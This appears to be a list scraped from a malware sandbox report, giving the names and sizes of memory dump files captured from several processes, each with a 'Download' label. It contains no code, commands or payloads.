Download
memory/2200-171-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-146-0x0000000001040000-0x00000000013A8000-memory.dmp

Filesize
3.4MB

Download
memory/2200-242-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-245-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-247-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-248-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-147-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-250-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-148-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-149-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-151-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-152-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-170-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-168-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-153-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-154-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-166-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-155-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-156-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-161-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-292-0x0000000001040000-0x00000000013A8000-memory.dmp

Filesize
3.4MB

Download
memory/2200-160-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-157-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-308-0x0000000001040000-0x00000000013A8000-memory.dmp

Filesize
3.4MB

Download
memory/2200-159-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-158-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2264-618-0x0000000000000000-mapping.dmp

Download
memory/2272-303-0x0000000000000000-mapping.dmp

Download
memory/2276-251-0x0000000000000000-mapping.dmp

Download
memory/2612-617-0x0000000000000000-mapping.dmp

Download
memory/2700-428-0x0000000140000000-0x0000000140023000-memory.dmp

Filesize
140KB

Download
memory/2700-122-0x0000000140000000-0x0000000140023000-memory.dmp

Filesize
140KB

Download
memory/2700-121-0x0000000140003FAC-mapping.dmp

Download
memory/2700-123-0x0000000140000000-0x0000000140023000-memory.dmp

Filesize
140KB

Download
memory/2700-124-0x0000000140000000-0x0000000140023000-memory.dmp

Filesize
140KB

Download
memory/2700-125-0x0000000140000000-0x0000000140023000-memory.dmp

Filesize
140KB

Download
memory/2700-120-0x0000000140000000-0x0000000140023000-memory.dmp

Filesize
140KB

Download
memory/2744-340-0x0000000000000000-mapping.dmp

Download
memory/2920-630-0x0000000000000000-mapping.dmp

Download
memory/3252-227-0x0000000000000000-mapping.dmp

Download
memory/3300-229-0x0000000000000000-mapping.dmp

Download
memory/3556-305-0x0000000000000000-mapping.dmp

Download
memory/3720-239-0x0000000000000000-mapping.dmp

Download
memory/3848-270-0x0000000000000000-mapping.dmp

Download
memory/3856-636-0x0000000000000000-mapping.dmp

Download
memory/3932-231-0x0000000000000000-mapping.dmp

Download
memory/3988-625-0x0000000000000000-mapping.dmp

Download
memory/3992-631-0x0000000000000000-mapping.dmp

Download
memory/3996-637-0x0000000000000000-mapping.dmp

Download
memory/4024-451-0x00007FFB20A10000-0x00007FFB20BEB000-memory.dmp

Filesize
1.9MB

Download
memory/4024-343-0x00007FF6B9FD0000-0x00007FF6BACC3000-memory.dmp

Filesize
12.9MB

Download
memory/4024-444-0x00007FF6B9FD0000-0x00007FF6BACC3000-memory.dmp

Filesize
12.9MB

Download
memory/4024-906-0x00007FFB20A10000-0x00007FFB20BEB000-memory.dmp

Filesize
1.9MB

Download
memory/4024-904-0x00007FF6B9FD0000-0x00007FF6BACC3000-memory.dmp

Filesize
12.9MB

Download
memory/4024-361-0x00007FFB20A10000-0x00007FFB20BEB000-memory.dmp

Filesize
1.9MB

Download
memory/4048-638-0x0000000000000000-mapping.dmp

Download
memory/4064-639-0x0000000000000000-mapping.dmp

Download
memory/4120-269-0x0000000000000000-mapping.dmp

Download
memory/4124-265-0x0000000000000000-mapping.dmp

Download
memory/4236-892-0x000001A2B9B29000-0x000001A2B9B2F000-memory.dmp

Filesize
24KB

Download
memory/4236-861-0x000001A2BAD50000-0x000001A2BAD6C000-memory.dmp

Filesize
112KB

Download
memory/4236-614-0x0000000000000000-mapping.dmp

Download
memory/4268-425-0x0000000000000000-mapping.dmp

Download
memory/4476-491-0x0000021F2FB00000-0x0000021F2FBB9000-memory.dmp

Filesize
740KB

Download
memory/4476-463-0x0000000000000000-mapping.dmp

Download
memory/4476-485-0x0000021F16A10000-0x0000021F16A2C000-memory.dmp

Filesize
112KB

Download
memory/4476-524-0x0000021F16A30000-0x0000021F16A3A000-memory.dmp

Filesize
40KB

Download
memory/4608-238-0x0000000000000000-mapping.dmp

Download
memory/4692-641-0x0000000000000000-mapping.dmp

Download
memory/4836-178-0x000002095BC00000-0x000002095BC76000-memory.dmp

Filesize
472KB

Download
memory/4836-162-0x0000000000000000-mapping.dmp

Download
memory/4836-172-0x0000020942B70000-0x0000020942B92000-memory.dmp

Filesize
136KB

Download
memory/4940-258-0x0000000000000000-mapping.dmp

Download
memory/4956-255-0x0000000000000000-mapping.dmp

Download
memory/5060-249-0x0000000000000000-mapping.dmp

Download
memory/5080-241-0x0000000000000000-mapping.dmp

Download
memory/6076-893-0x00007FF6716414E0-mapping.dmp

Download
memory/6100-896-0x0000000000000000-mapping.dmp

Download
memory/6116-898-0x0000000000000000-mapping.dmp

Download
memory/6184-899-0x0000000000000000-mapping.dmp

Download
memory/6232-902-0x00007FF760C025D0-mapping.dmp

Download
memory/6232-907-0x00007FF760410000-0x00007FF760C04000-memory.dmp

Filesize
8.0MB

Download
memory/6232-905-0x00007FF760410000-0x00007FF760C04000-memory.dmp

Filesize
8.0MB

Download
memory/6320-935-0x0000000000DB0000-0x0000000001118000-memory.dmp

Filesize
3.4MB

Download
memory/6320-947-0x0000000000DB0000-0x0000000001118000-memory.dmp

Filesize
3.4MB

Download
memory/6320-948-0x0000000000DB0000-0x0000000001118000-memory.dmp

Filesize
3.4MB

Download
memory/6320-949-0x0000000000DB0000-0x0000000001118000-memory.dmp

Filesize
3.4MB

Download
memory/100328-377-0x0000000004518597-mapping.dmp

Download